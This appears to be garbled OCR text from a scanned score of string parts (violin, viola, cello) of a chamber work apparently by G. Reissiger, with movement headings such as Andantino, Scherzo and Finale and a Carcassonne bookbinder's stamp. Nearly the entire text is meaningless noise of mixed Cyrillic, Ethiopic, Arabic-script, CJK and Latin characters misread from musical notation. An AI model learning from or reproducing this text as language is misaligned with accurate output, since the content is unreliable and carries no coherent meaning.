= [E L-I ЕР Br rc me se («Д
AAA AI
GTS DAA AAA A ,27ھ ም ተ “መግ
l-PPE
| Е
IÓ u Wes 12 3 ልል,
: ሥድራ 25 jig Р: Ф p 2: ж | loco | |
= == መመ... کے መመመ መ E= + — کی ےت سم مد حر کت
ЯҒЫ መሥ
NOCHE E IDO 3 2 == [cs ja a RE эк a=:
E Nx = ---- Lm11 A ET I AN Е
pu oc vU RUM
та я, Ж рте й
5 ЕЕ
=
TAE | Erw :ہر IT A, APA (EE TEE
ШУ, J DAA SIA AA PEA AA AA A AA Z ENANA ፡
> IS ESTA y
A es! 5
| بس 5 AP
| — h є
| ም e d B m T ж-
де ве መ واب Í 2 a Та E p uU Р WA Тр 2 7 | в Le » |
መ . 5! —-—— መ ШЕШЕ A Cl 8917 Te) AAA НС Dee 7 Ee ФР መ"
у የ. ow A Eeer" T Se PEA See AA Dee, AA CA A RE መ о
=== === Ei reme جع اع AA AA OS та A L መ] Жен, | AEE.
تی 1 ھچ 1 0 ПРИ, НБУ ti AAA I جس ا ا
وت መት ተ Б REN — e A REA JSR Eee Eee
የመመ
' a
LAS Es —— IA al ши Г суты 0 = Er T
>> — __ === L. ЭЭ Е መ ይራ s کے ت Gë zeg `
E —. ፡ — -一 -一 ——
т Де = |
a 1
\
Г2-2-р- | нні ааа 一
Bann 7 £ „4
a ^ ው | loco. ? E т; ሦ ፡
Va = 95-5551 Feet ето, aT ні و = === — =
| (^ DENE — бин эм ли P Léen kaqa ኘው — wa —
سی eem ea жин EAT BOT = <a
ae ын " ш ہے ےھتج = — =
Fe Var! 12 ee a =
= е: Й H
er e) =e еее е =
Wa = ጠብ кешене [==] ہے - | ይክ ےچ ہے e zen
Ze BEE E
|
ፖማ RIS 2
P | d ا اتا کا ЯШ жын Po AG iF AF AR т AW ЖШ 1 WA | 9| ЖЕ
реге DUBE A байл E CH С Rtn РР А ИЛ IE EE БЕ б Bl] E H Die E am
ےا _ لے — -1-4--44-1 Ear |-፡1:6.1 1 та 2 تا LA L fan КО i [zr em
— 88 сі ee — | کا کے ——— — A -———
Dd ZA U AN A EPA | A (о на) Fe 1 22-44: 12122252 22973 em en SERT A ርመ 8
سرع ساوت ДРЕ ВЕСТИ РРА E A TEN 41 —A EO |. mm wA il ass
ue Loma Ше =. FEE "OL ጨመ
loco.
p 1 2
E DE 258588፡65.7:.:፡ BEE FE AAA ee AR AAA AA Roe RMD EI 一 一 0:
هو E ee و 5
TE E мж “ሙረ TOA SS A, HTA E 19
ቓ - =
E E መመ ہیں 4
| PP „| |
ЖЕН መመመ — ОКР e مو BEES ESTO сан, — BET HI Ee ЖЕТЕН መ === Е-е уа = =
BoE) መብ Б-г Ба
ANDANTINO.
Se
9220 R
716 ў
! ' SEES > А و ر Ї
E EN 2833-28 2387 1 |— — AO EE ርር መ er ылу E s= ===
=== EK EE اج ا EH == Wa? A O EE E A RGR PO A HM лет J == 2
688. ہت СЕНКИ 3 ЕЕ ee سے _ تھا - ES —— ПЭШ EF hima d E
A
es EUA A ር.“ مع Rl] Ke | 0-00)
Ж еи” ACSA! B-EV «те JS —] MRS
PL ZC መ... ገ “ 27: 7 4 | а 5 e CC
гу ы чырыл айк تا LAS Ee ы ሐ... A a DZ
pajas er]
y || کت و ہے SS d а
| ФУ CT و ой
23
تھسا
[ e ሀወ ወ a $ я
GEESE EE HEI A ал E
feo EES
CA AAA EES ДЕРЕ EEA EEE
J j € SCENE KK Y. 40» v MF E еее
TAI A AAN MER тті —— 221
Legato con وت
) ao ar ШЙ |ሬ፡፡ፎ፡፡ጩ ЯГ ALI ود
Mr کک کس wey زج AO FT AEA AF Se mr Sa EES
[v 75 Ээ !ቋ 9 ሠ S | ወ "2 1 p S A2 | 28
VE? SR EA II GERI
Ena ;
2”
Sw. Bay o 4
er mma 5 —
900 12
2 BE НЯ
Le اع نسح EE ыш
| 7 . 42 . سے lig ЮМ í ————
[ ed መ @ ге .04—9 سے
ሙጣ :! А =
тя (መ € (1-ዉ--መ- я 1.
7 | d EEE EE Е] mW |
д E = 4 oe
انت سح یں e
FE TI A A AAA
ТО AL ii e ES,
| ^ a P EN REF ee A
TE | — ——— Ty w
T* ሠ , 2 =ያን . =
Viola. Violino. A
| | == ASS ስ | Sg -ፆ =
1 A— m 十 一 一 一 5 had = М П (Есе Bomar ES Ls - Se 0 4 16!
CA A)
вее „Ре Р і i 5 A
جب 2 | Е а سج سے ہے ቀ“. ፡: : | sn === -一
sk S id > > > 7 сила! а
I : وہ ss e
፡.ሠ ago #0: Жи | SIN —————— SES TEESE E aA N r
жү ДЕТІ AAA 4 Bar шингээ. p gi v 4 퀗— — SEE pga ge ge ا Е
2 AEE: SOs TV AA И LM = ANT EAS я i W a (eg et A ES тайата
хе وکس መክር TA DSi ہز ey re е. فاو ara +
5:28 y 1o O ee
ا جج 20 N `
2 ” 2 con espress
DI ЕЛЕ: ви x—nn a BES” v4; c E 8፡ ገ d
ሯ я E UNE E: 47-021 -ee шш EI
TA СУ ET таи ГЕ ው سے A (БН ANS SR EE с | о EE ea === x
I - = ASE MEERE: Eu а ДЕРТ d mW ЕЕ
«Ғ P Lë ообо в. |) v у U سد
“~
g ПИ A A TEE TE ERE loco.
— 2 e ረ - "7L
የቪ AE NEN rm ms >
— тула اکھت Белем ВАС 273.077 7-1
BERS — 人 218558 کو ہت ےم 24 ED EER EE ET سس سے
ከ A RE A ee HE 医 艺 了 ee
—— CI лш E eg — - መመ —
| y E | ሠሪን IA E ран вена ар нора й ьо A AA E ዜ 1 መር = |
| 7 4 ДЕН 8, ہے Б Ce” E TA ከ... 2: БАН ПНЕ RS A ee жен ee FRET دسج BEI A AT
Bian Ag ere JT B EA тен EE AAA ES IE шатлал sss) IET سک TE E
me ML! Be 7 | A A B ee ESE A E A
一 一 5 NG D
E AA ©
E
22220223 р ців
паркет TS اھ ል
em — ——— AN NAO И da
---- BASE AS | ES
2-2 ፣ 2 1 | | егі БЕ T]
= исин E. en “
0... "1077 TE ——— — رھت و سے سد и T AME A ЕТ perl W l WB: НЕ
一 -一 一 一 一 一 ee е L ја we = وھ ei за: 2 1| —./ Aw | . | " ж”
Б” | 5 2 ето стар en 1 E
: PAL pp, >=, p |
mes Con espress. _—— | 1 Q ^
Ee Ер НТ سب SO II тіс ЕН] ር. EE نے کھھوتے سے سے یں A na
(= AR Seo A eae EER A A [^ AA O A ATA! Ir и: а
Мав Dar ا ا۔ جج ہے ہے — === = nr a E SS Ss Us n
De — meto uam ЛИ EEN EET 209 11:54:21 NO SS | 23
E. -ዎ- ።
p ħa 4 --
Violino.
Violas GA
Газ ere) eee | і 1
| ሰጤ MEM Т В
Ф. I _ ! 2
C
ሴ
—
T7
~
~
legato.
d
H
> NY
11
& юю
A
e VK
d
|
| ||
`
| h
ሀሽ
LNS.
S иь
|.
%
i
3 ЕН
A
a
LAP АРА NA یور ААА АА ААА фр PDA АР.
8
ው
mur
epe FE
З qu
1
А
4 :
5
:
^ ма
REFES وی as TE ኮጓ..ህ/ 7
— 7 тег A E AA аса ሮው ee |
|
ен” سو سے سم وت Dx)
R
0000 !
ро ——— Meer 9o c. መቹ En DEN) O Ы” I t
SAN zur [ ہے . |. - ድን — 4 Ра ہے کے ПР | < д ہے 4 d
AAA У E A © 7 ТО РО N — | / па 7 ወን | / р 714 74
ха Exc] D МИ” RI kt 9 he ee 222 227220 — Lor DER S AR ee
Бин nj
12.
Ы »5 کہ WEB] A + nn ے کک ОЙ) E tee e سے ہی
|[
KN A ANA BEE A II EEE EE
Гэж її Ey Ce к уе 4 14 سا A E
2 2 መዘ | Tal
Майло ет 4 کے
۵ |
ጾ፡ወ ID. 2-2 аиа
ж.
Е (е IEEE) AA 885882] 2 == 2
— PT SSS E AE E سد GERE الد
раје ee j| |
35:24 تھا
[ERISA ር መሮ መሥ) AAA A sa | ا ES Fe
ርር. وس ةے Ech ут ге ወ.። | ӨФеӨе ве у.
AAA гол Ere БЕБИ] равала RN) (ТАЛЫ II БНАА |
ው መመመ ہے
一 ET),
ES AI)
писа
Violino.
LET TO». rt,
251 [cd i. ~ ~ А p 1 — baren -
[| "ዝሪ ЛЕ | L ДЯ J i e A A СА A ЕДШ ээ (TB DEA O በዞ. о at መጠ
А з ያመው a t 59 pud. 2476 S s=
^ sur
EA AA A AA ረጋ. ርኢ.
is [тел "ШЕ MAE — КН AAA AA
BT PAT EN NAAA E
AAA o Л Ew مہ کے
hie Ae BEI)
AAA ДЇ бй [б کے
Presto. (d=100)
v
loco.
CARA AAAI AAA AAA AAR Violino :
R
M0O()
Violino.
ኳ
ро p ہی С ولاو ود
تس یر دہ
Te
Гере
EEN E AAA До
T Z SOT Су سح At]
Ру е):
ATA
ኤሙ)
|
ES AN Ра (ЖЫШ.
ul
—- aped
CAPA
ACA
0
::ኤሕኤ፡5ጮ06ር፳2
—— eus) 02]
—-— IU
— ETT
ےئ
Weer, A (ШЕШИП ETA |
VARO EES METEL]
MAA | Ce)
шие Se ون Z AIDA
A а 897]
1
ГИ
үг Т
Ш.А
row
ІШ!
iii
я : i %4 |?
e.
"e
፻፪
ie age
|
!
Ки
2889:
2161 ፣ፐ E 8
7 | Ч
я
ሯ
ви
TRIO.
26
Violino,
ES:
Cré
г
е: 2
pulsa ze
AR
[EA
(Еее BE)
are
сто.
pr
[ |
| | '11ፄፄፄ ||
БЕ N
f gas
| In [81
| и и.
i i
i = tl
ТЇ al
Im اڈ
ШИМ
اھت
5853
ES
| e
[ | ف ف |
[uenis o
[4-
SSS خوش
EN | [
کت тээ Р зо јетре سے i їл эт тэ
PUES O OA ST
=
ELE
222 2
VEDIA
ГА 3» |
LITA
[YY
,
~
= == ES
Газ = |
— l
| ዝይ ነይ |
| SCH
Sale
éi
[T SE SE с РЕБРА Ee б, A ECH
ESSSEE З НЕБА СВ с БЕ С БВ WE اتا بات El EE EE ET ШУ, A
20
=
ye
НЕШ] ea 2158
ап HERSKA ед
AAA AAA EE
| DD е зае Lea ге 2 DD ADA
gE
201
Le mo |
pu
NAQL
Violino.
FINALE.
Sam =] ES DD ER RE ті 17772: FES” EE EA ee رہ H
| rir ms ан по 1
| ее L — سے ее е елее е ውው и ሆ
í 14
N -
ےس ረመ | E EN а ES ur = KM mur EW шг iba [s a
E 4 7 7 7 መማ | ө
CILE AL ho سط ee Ee ee Я |-=-==- و l-49 а. 1-4... —
E UM 7 ( Ñ | |
Lan Fa A — m. E Б-г ~ |
-X-— A IEEE TE II چس ЕЧ (EG RN نت AS ПИЙ (ПИН Ем ==
р | ET CON WF ЛАЖ ШЕШ” EK EK 9-4 аа CS | 2° £ Ж Ta AN
AE BRATEN (Re ERES HORSE Ee EE EERE шеттен ER St qs ПОВ
жар e መመከር) ° ° Р ° e e p e Ss га
|
ы
Violino.
28
Т lt ٦
| ; "[ /ቹ
| E AR
E
5 نے
nru
-T7T—— IT |
~ | i
Eum. 2 ра пр |
= == a.
SER 4
ARCADE VEB ے
سای саа E
ረው те
sF
Bb.
ҮТ ТИН BA ла EAE IES
| | В
| | ብ |
d d x / u |
! | | hill |
24 ЛОВ ||
m р. Бу ЩО
|| l ff 5588 |||
|| ||| |||
o ii
INI |
| М А. |
| 15 "BE an:
|
| ||
| j |
23 |
2 |
SS illa
AH |
sail) x
- |
We |||
|
||| |
i ТІҢ
| |)
Л Ч
ከ52 LI
RA
7489
SA
88 +9 ی٦ |
E 1 | ጊነ |
Ёл | d
۸ 3. ST 4 ШИВ uk
` ШІ x OK |
1 Ni © NN |
71! ЫП ||
A А" (91186
| dë ШШ
s | 15 ЭЛ
mL NB i«m
TH LR hr
" i ኮ. (d?
im | |
l WM" |
[О : |
4
! E ||
ea TE
RE о Ge زجج Î اک ER اکا Hd 2۶ا ወ!
>
Са
x=
A
E
E
24-2
Sem
со ре
SE AE ИЕ
єї
4— یکم
Mu hx
€
6
EEN
— ہے 9 і — a.
|
|
|
RS
2029
Alto
Alto e Cello.
[ 2949-0 Жә!) ә "а | A
mma LEER, E
ІМ
al
TTE ۸٣۳۶
CTT NI
А Ih
i BBN
N
(D V
um Ш
ong
| A
| ከ
11%
| LM.
ШШШ 07
BET
B) з
E Д
af A
e
[ «eL pe jp EE Р З SERS БИАТ enr BA
| AMF
ta a BA. eS E
aa, |
[uu Y
brillante.
m ا
ЕТТЕН csse [E] (ЖЕ تا ES
EF EES ER ET 4
насар” ИЙЕ;
Y
TE
EE
EA
TE Te
0889 в
0
in
Ä |
Bb.
|
dr e
-
|
ч 3 | N | አ ! - یسے'
Ë қ | | | e - k. < +7 =
e] = سح ее... 1 Sse 7 17 TE
ku pt 一 到 wa Pee r E E = — سج
еее е >” Ж EIN ee 0-1 —-9- 3 :
„г = "T г ¿T E Жата? зы = ur سے
i aem - — 3 | r a «ал - — m ወየ” -— ee S|
pur A AZ
ግ ANAIS EI IG EI E сыш: сс 5
WE ARE) E TAE ee ا
ay - MR р
N \ : —
c. 32 - 2 2 ) | =
N N , ፡ ፡ |
нн -ርገ2ወ--“ፍብጩ Ра Tasa УР" о نود ]5 27 TIT жан; የወደ листа E F 8800 CS “Ғыл —T8— wa
чая 49-5919 Бат ы Ф- 2128-28-12 (78 IATA 73
E E? | Ға Өө: || Tell | wen ыша| መ шим! | ጩጨ መ
了 ЖЕ. L d A 2
3 x
г و ሐር ш, 1осо. ہے میں
OMNE ж. eje کے سے سے ہے E ло leen 1፡8
(4 SIS e— Ez m o | سے سک == ہے ምርመ
і — ERE LE اہ FEEF
; 2-8 7669 8888: “መጩሆ:868 oe y»
уу ا E 2 SEE
: b Lë 7 i с Bose» loco. “ከቸች з loco.
/ 28 ҮЭ ም ұт r = | ፖ
/ (2-1 ТУ ыс тл е 4651 Бе? T] DE УЯН SEI eT л ГИШИ RN ee o EAN ПИ ር“... 1 一 一 一
ё |›.. A AE A СЦ E ДЕ A ДЕ] A 220) I —— 一 一 一 一 二 一 一 A —— ASD للها لان
Fe кіт ре) A A 2 w peu: ሁና 4 ——
y а-а Л ee | E کڪ
Y й
Ke E
®
የዖ 17-20 У | dë Ч Ч | писк лик лав p و тела LE рив Ето ра
ፖ p——— EENE ОО ee) ጠጠ" Eas
Ет 2500) рев EE FEA EE c SO ША НЯ ПВ ETRE ЕН 一 一 一 一 一 一 جا A E AE EER
سج | mm | | O, — — سم کے l. Da ———— | لے | " |і u ____- |_|_- |
- mi TEE (БШ ШЕШ ——— —————— — ncm m | — o ИНЕ | |
EEE A И JM ӨР ~~ A TS пячы
/ | ድ A Ee ADE мс | 4 一 -一 -一 一 一 一
wi = ers TA GRE ES I ER БАЙН (EE AS 1 PRI |
—.. = -“መ- а پر ا ” —— Y д к ae
ЕЕ e EE пе و G e h oY ALIAS AE == =
оодо п. : K a
< Ч 7 "# ам ||| ` m
ШЕШЕН ;]
КЇ اس ران |
{өы ON ES SI
ар ү GL ነ M
ër A d
| |, ° | E | \
1154 di
Шы Us uu |
۶_٣٢٢ 1 d
10141 MM
[08 ሂ! 41,
Л 1
LER IU LS А
፡ አበ A ! pn
Fun በኩ| X |
የ ‘lin U ۶ |
۰ Р ЗІ! | X
| Л) f
АЛШ!!! A
1112 a
rs || A.
БУНЕ Ire 3%
zw E le
2 یی CY; a
SCH
—
Violino.
i
d LE E
A UR 1
Ве
qal ЫН “ ! ||
AP ЮР 0
ء, | at
= WA ` М s
551 2
Ц min
УГ ۱
ጋ 11. Wed:
d «ШОП
¿NN | Du |
Jm Ne qu
К n
1511
| wël |
WAR : |
AE 31
Y : n ከ
ЕНІ БАЗ ШІ
мий 1 ||
l `l v.
E | 11.2
NET € 2 8ج
A
f
|
d
h
ж
|
Me
—
2
E
ቁ--
ы
ге መሚ — во еко
-
‚==
PPP
|||!
et
ü
$
|
-- nm ፪፪ የመው |
Lu ||| > d
n ۱ (wh IN in |
ћи
ዘ! [81 | (IS ||
| d |
|
| 1 j |
| seit H
8181
| nu^ IN.
ils CDU [በ1
ра!
Dees
Te
e
т, 72
MLT D. 2-1
je БЫШ =
Ee
፻፳ ae TY
a
WT есен a,
лк Se E
一 一 一 上 一
TII
Er Й
BE REFES EAE, EE,
— —9— |
متا ceni]
ER
Seen
[E]
k. ےد T L 3
CH ims ا 102202]
MEL-7 4-14 91 |
па ен 3
ES]
ee
—
Sa
[-
Dees
ms
А
Cello con espress
— መ
4.5
ваа
ZS ES
1! SS
ЕЭ
6
Гера Sa)
E== ғ!
N
GE
EXA, AA
ሙ
Sy IEEE
TERSA REET =
ہی EER | کہ
me
—
Sams
Кж кус. ul
[ASA d
ET
rs
[መ SERE
7 Eu EE
ele H
Violino.
— З |
À—m AE
МЕСТ” Ы EE SEEN
lve TN Ee
SE "ege
| WER. E
BES TE TEE
[19 ШИНИ
брзи
c STS Dr TT EN ANA ТОВ ПН] НИ БЕБЕ г
L
F
EE” ПО EE EN FY EE 877" ПВМ REE agi) EEE EEE
Rae See 27 | RER SF — EE AO 6... ығ
10la.
қ
BET... li ,ا ተዝ | || iL] |
سو | ' Ki q
J| | ША |
| H | ПШ» ШЕЕ "oi?
1 | | ا 4
| !
| » መጽ
КОРД 1 | 811868!
|| * = | ний || || | ! |||
SÉ || 1 p (
~ | | [ ГА
x | | ү},
ER | || d il |
" HU سس de DK ПУМ +
Т | dr й
р | НА ° | AN =
š : | ПА Ч! " Е
144 ПНЯ і . ; s|:
" || ||| 1!) ШІ | ሾ “AD O
її | ИН | [አ jl |
1 НІ 4 |
ГО WI. hm In: ШЙ ЮУ St
EN ፪8፪፪ 9 " 22010
18 | > |
| { 8 እ ፪ ٠ ||], | |
ІШ: | 87 1
П | i) ІМ
0 2.4 211 NE vi S [ከ ih
| Е 4 H | ዓ
| 1! |
ША di [1 fi Mis и
in I qm» (57 — 29 Л
|| АД : NT T ||
| 1 it id
| ተኬ / | | Am |
Баш / ІІМ ll | | ) | |
S ӘЖ: 9 D Ес BN - [ው
TTT
ከ(10ክ
Violino.
Дий
اصع
т 4
did .
Г: n `
5
Violino.
TA A LAA A A AA 2
SAA NA Т === 22727
ola.
аа:
Г "mw ||| | Ч
У | |[| tal የፍ |
hd | d |
| - |
Л Л
LR, TH TH
Л | |
|||
ji
| ካ] |
M 217 DI
ИЙ /
Ч d
IS ul ІМ
NT d
| | hi
"lh Ei
ll کا ai
H m |!
ПЕ 0
til 4 i
Эр ቢነ
ነ a
- MI NI
Ж й
ІҢ d
h йн
||| LETT
Y hill
Ai OI
15 i
Ik i
1! Ah
й | У BE
0 |
ik a
Ka "ከደ
|
|
Violino. ит
mui 5 [* : Fo Пт ۔ سا + - kaf: AAA — — AA Г .
A 12 2 EE | 252 AO „АЙШЕ: „ТАРЕ ARA 2 ТІ
ty 77 m = i E RED : | == пай == رت — = سے [eu ہے و تی a с
Sum ли —— 7а 1—7 зьн = ግ Les см, |
سے Dm 2 La Din 2 j o — жень ШОТЫНА Brett E PA Ġa = ста ан
КО p аса кш ہے а АЕ раж سو .رھ ا ھت e e و АЕ aa
EZ ҒЫТ | | 4 ти ПЕ ше нк E وھک ھب BR. ስው gsl кл. ھا ЊЕ „В گا کنا E te BEE
Amd И сеща - کے - "P \
шаг መ ጋ
за
—
i
---4-
8:
€
П ССА 21422855 25888 селі жесі 920 uz 8፳=)
MED уу 8. ፒ А Елен E
کت n ሸሸም ЩЙ"
tox
5:
ill
sin El)
QU M
p i
=
i.
ІН ۱ ==
WW
0 :
l ын
ІШЕ
ІШ
| ШЕШ.
i 1
| | ШЕШІ
il
ik
ЙГ - ۱
iy cu y “si
т Ч - | CID *
Bil ШІ) ЧИШ!
(4) Wm | [NM ۸
jA % | è p
EL اب | |፪5
| "а Е
Bü. ~
i
| | d Wl Ce
| ON | | ни
1 | 1 JL S de
x [SUN will „АР
| TIR N nA ceed
[[8 "Dr ai ke
кізе
А | |. LLI
ШЕ A A ч
| i ANN \N ا
ШТ = NIN 9711
ДШ | gu |
Q y ER ы M
le He "AA WM 34
Г eee GEO
d 2 ጠመመ
$ КР -
er А:
јр
m БУКАНЫ пони MA
A ТЕ БЕТИ
, 7 7 3 " х
war, loco. 89 ممیمممہ۶ а p p pL loco. 8: ( WW,
2 A ~ e И
Б” . ПРВЕ — I TFR ከኤ. Srel ብ = БЕПНЕ LU eA ee eee Ze eeng 1
ይስ... ٦ Р a ТРД Т ከኤ T AAA O E AER E ARE A TEE DR ET ~ 1 |
FAN LI ral слова. ml La [Nd м keem ا[ <. s "А | AD | | 1 Т Ба XM سد ۷
HO A
ES IEA AA A МОЄ У БРАВ 0
EPA a a
loco ;
CH um 2 በክ em 27120) 4 ПР 7
Ke ሠ. en 2 ШИНИЙ л а? а 1 cum ጋም ШЙ 4 uw pues c smt ar ~
2 یھ ው 3 иа po cb t ወው -ው ک f T T Tae. j— —|
KAŻ "E : ci у oe NEN sss 55
MIREN و
ው =
二 二 二
L IL ИШ ИЕН E ek IF 28
| а D ДЕГ 4|
።
2 š ч መሙ” TES злі -- а
Ра IŻ سو e er > Е 2 € L Se -መ- ВО
Етра ER E E Ж —£—.2-£ е = — ደው 2 :8- 5-8 == 8-4
[7 x 5 А
> 3 ЯВ 4 ہے 5 ASS O ОН" 7 9 | dE — 7 9 > ст ны 5
ée 7 у و ےو ود Se 595 oes р / ———————À TATE EERE EATS FEES [еы AL. 5 a=
Ey ЕСТЕ инан E p у ТЕЛЕНЕҢ a Ч - = ГО
یو ھا тасын
EN EFE — |¢ = کیا аы е 1. FET у -1..ሽ -:፡ ;[ x erm Feiss, FET TÎ FESR ...مت JD-—AE саны BER ара ee, ہے
2 WET E A Eer مو ریہ IED =e ar SSS — Е
ረር ረ” ር 222588 ж loco. شس شر
h
| x
М (
4 i - g 7 | ча
ባሠ pM ES = Бб | Se ee APTA БЕП ЖЕНЕ Ir m 3
va Реге P o " | d Ез БЕС een O VIA T وت EER HSS d] [L Ww aa ጩጨ=ጨሙጮ:-
if AA: ЖЕ: SE A ለጨ. дыны መሙ. ሀላ... ጨጨ Г I 4. ES mn a“ Л i иш Zu
УА en TE Пеј s pug m АЙШАНЫ СӘ ШЕТУ سے БЫ RIP m an ሙን ጠብ. “ጣና ШЕН aa x
| ~~
ii
|
ፈ
НЬ
-
АГ
EN
SS SABATIER , relieur à Carcassonne ,
oto А ےے ка тиш ка سو سے حم
= — — — سے = سم ДІ w ہے
| - ድረ 01167) Әр 19 594
H y
= IB
= ||
Ф ||
=
= ||
ہد
= |
= ||
= |
22
=.
=.
Ф
oe ||
=! IH
v 1
АХУ ||
VIOLINO.
Ч
Andante (9:
ct.
G а ħeissie
о
OLATLON.
=
ceuv: 70.
.
RETTET መ 27201
>
|
H 14 +
— ТЭМ ВАЛИ et DIE MARE [EDAM
рій то
550.
s
Гын
|
— Zë
EEI Fin be
ESSE اس EE el = am.
Man ሸር. E FEE ...ከ Ба й БУЛ
ple — “Эээц- 1-1... 01 [ 3 |. 12017 Зээ
fe
4--
a,
ጩ
|
1
H
1
||
i
|
EA E HL TT (ЕЙ КРЕ ae eee ee
-十 一 一 二 一 一 一 十 一 HE Sear A
CC iu
IOLINU.
xr
M
a
spress
Con е
{
|
d
f
፪
\
!
i
и
Ч
q
fo/* e
EA БЕН НК) 2 С НН E ERÎ A 2 E REE E 90 EE EI EF 27727. B
G
Fel 5s. T TM
SR ch
td ጠ* ረጠ ИШ - ШЕШЕП ГРЕЯ قد A ШЕ: SH
R
од
VIOLTNO.:
[agr op
зон = — шинэ a
w
=a i +
=
к:
Ч
AAA BE EE in БАНЯ С
9 | V TOT PNO
lc UN NON
> A RS 9268 БЕК” ЖЕН
JE RETE, = :.። ጨመ ላ: 7]
РА Фа d^ | Y ADT A 71 7;
መመ. [| 7511 |
ey, |ዜፎ፡ መ”
| (2 Rem
መሥ
ста! FSE
ТЫ) П.с ات ЕЛЕ НБУ O A: GĦ
L/ Фа | ПО is
217» = ПЕРТ Фра Ре |
ዴዴ 2 72 a سے امس تو [БЕП کا „ДЕ
555 VA ¢ HESE ESE RE CRI LI Esa «AB
аи Ua) set emu aman]
|... ሀሪ ET ae
EES) RnR эн Bi
]بب تھا 77
^ و۔ 7 T. 9.9 2° NES зв НО صا ceri EA A
555 EE sta Cs Pes ወቃ Nest a ተመመ HE
ГАЗ? 7: та = = [27 Зон мшш 112 / | а» کا ШЕРИ لت ا СК کت ШТ LE ا NA EE ھا کت پا لے С ee EIA WS)
UD Y, Un ers Сай ھا = KEE ЕБ O: A EEN os > AT 7
< ас. e р 9-4 СР СРС. PL Î
= 2 2 ‹ - TE ЛАШ
ا mà maq 99 اج НИ eee | | шил: OA F НРА ЖШ و وم
ARA A ==
VIOLINO.
Presto. (22100)
SCHERZO.
3 Se
өн, Eee ТЕ EL ee سا IT
AI በሪ :0፡፡ р CAE E
7
SÉ AS МЕНШ XIV а |
Lao EEA
ው... m REET Cl
7 а pa
= Rican EST ве (и
------ EA
-— EE
hi
Ч x
i
Сар.
Scherzo «
ZE EE EM FA A EN Bê u
TY 7 LARES Bae AD Bk
VIOLINO.
| [ቓወ 6
Beas I AT A
DE A
| ur
Crescendo.
d Scherzando.
CO EPE EEI AS A I
Pizz.
ህ |.
һ
| ፪፪
HR
0096
VIOLINO.
(2
[ e OF ПО) ШИН ГБ EE Ee A ЕД
1
|
d
d
EE EE сір ғуы
AA BES سے کی تھے د۰ سے Weil Germa (БЭ)
KI rn
| 21407 е 2
ARE) AS LAA ADA
ETA IBS See. E
PA AO En ات Давай рода A СЕ ЕТШП ДЕЖ BE
,ےج
Pei Ч |
66፡20
LGL:
Go SABATIER , relieur à Carcassonne,
en tout genre.
图 | Ae
3,
GOK ٦(0 op 19 994]5189ዥቨ эр
а * 91318100190 опа 25$ 5292 1
e “ር
зе
VIOLA.
lenza.
гас
(
VIOLA.
PAE
A E]
1ይ ጻ ፣
[e |
— s
УАКЫ] Р 24
La |
76 66] на
= ass ma a Ê sa mi
CES a
| Ть «| е |
LES EW REA 2
8
|
کڪ
rit. a tem
777
Sn
> ра ня па
ро
te
| m
5 [—|
[5:5 ወ ወወ Y ቃ
е la Ilmo]
5:95:77
<
.
R.
2889.
ШЕН
Що
|
1 ч
| НЕЕ š
ai o ]
ñj N ||
ከ m ||
EN і 4!
1504 d
3 ||
|||
ШІ tall
||| IN
d
=
BEIC HE EEI ee
ም A e
Bim, HE HE FE EE
ANDANTINO.
‚А.
УТО
| |
m
B
wa وو
с
—— ا
—— — 8588865559 87
E — 8
[7 ТОР о LLO P mmm |
سے E 686663: وا رکا Бас ہے ээ
Сте
کت рк
— d
2 pacc um
Kh دش کے
ГЕ
[Acta
[TE |
— A EA SEE
EA)
mmm. | | |
— ss ШЕН БЕНЕН
RUE ue Р”,
اد
N
SE FER AE
ER ПОШИ НН
EE
e.
| ^7 Me
— دا یم
| ےل
Beer
EA
OES
7
Crescendo.
Pizz:
0
i"
|
|
WX
፦ | P SÉ e
БЕ WES БИЕ (5 ER ECH
مھ
5 2
Ars FAR
NES
R.
89.
%%
VIOLA.
100)
\
Presto (2
ha
SCHERZO.
EM ro
—— EE Eeer
Ur OA eo
==
2
emmen v
= SSE) CD 3 ШЕФА En 十 一
г Гра 1. | ረጅ ||
AAA AE
Scherzo da Capo.
VIOLA!
Cres.
Con espress.
Pizz.
men
| ОСА
CA AA EEE ЕР)
FA መ... (807,7 A AA
шг дюн سے
Den
t=
a
Y __1 |
he Y
а tempo.
A-
VIOL
| ||| A 4
|
y -
i |
‘lll H
ШЕШЕ
nine |
ah |
Zr "Ap ei
Сгезсепао
Exc 7 IE
"ажа ==
_ SES era ы I ብ
»
EE gS з
|
!
j
А.
'
ጻ
ім
٦
!
u
4
оп espress.
|
|
P
T
|
R.
090
|
^
|
2
2
=
H =
w O
ER
፪8| —
=
но
=
AS
Hl o
^"
ኖታ
TE:
| зоб
зи
AP
©
етер Ən «ээ
aert
AS ALAS
LO
4
EI
VIOLONC
)
112
*
Andante.
c
()1 00:
-
- ~
G. Reissiger.
370,
оси
rro
Alle
i
ው DEES ne a
CARA
22-2
KZ
га
.== بے
EE, ОВ (08
ski
Агсо.
L
1
тээ p
Фе
-፦
(xe -
“ХК
11
|
|
Ч
|
|
A
ቨ
Ще
VIOLONGELLO.
Arco.
ገረ
VIOLONCELLO.
ANDANTINO.
w / m | ^ mm
5 ені ні | | o . мала
po "—cM عو ጋ цэ...
E WZ ኣራ AIT
VIOLONCELLO.
Y 一 一 二 一 一
МЕ) 87:1
=
„за
pz 7
n
It ос)
VIOLONGRIALO,
Cres.
el
werzo 12.
0 ٦
се
229
"s
52
la»
olo
5
вэ
n esp NESSI
О
M
C
press.
a lempo. eon es
a tempo.
Ratar
‚ VIOLONCELLO.
Y?
*)00 (>
PANNI di 7
ШИ
ШИ |
!! || 0 Йу
A
7
КИР)
| | 1 Т ТІ SC = 0
147) 7 A ۷ A A
ШИ
| уу, 0
рэн QUARUM ያያ
ШИН 0۷ ШИН ШИГ Р
Mr lll (31444444 ዘ/// PAY NY AY AY КУ IV AY A
0 ۷ ЖУ Wi ЛАЙ, //////ዖ// A bere
/ | 0 y ОО ОО (GO (Nd {Чч TAL! ;
^ 14122144444/4212
A 12 ۷ V MM M M bl gl gla ዘዘ /፡///////////1፡//.፡፡
ነ MOV УУК) d DOO МИН МЭ ГЭ VIAS NA 17
ККУ) / ҮЛҮ, ДИЙ, IU ULP PP dd EAD ارز رر
(004 1 (i M HM HH #/////////////////////./ ANN
2 PUE ነነ АДАМ A VELAS //ሸ//#////////////'፡/ t
10 0 ру 0۷ DC 779 PERSE Eg ЕРГЕ,
ШИ ШИНИ ۸۸ GER “#ህ#/ያ////////,//።
4 4% Л И //// РРА IA |
hi 0 HALAL 21ھ МИН СОН ОО ዘ/ዘ//ሃያ////ፈ///////////////////) (4
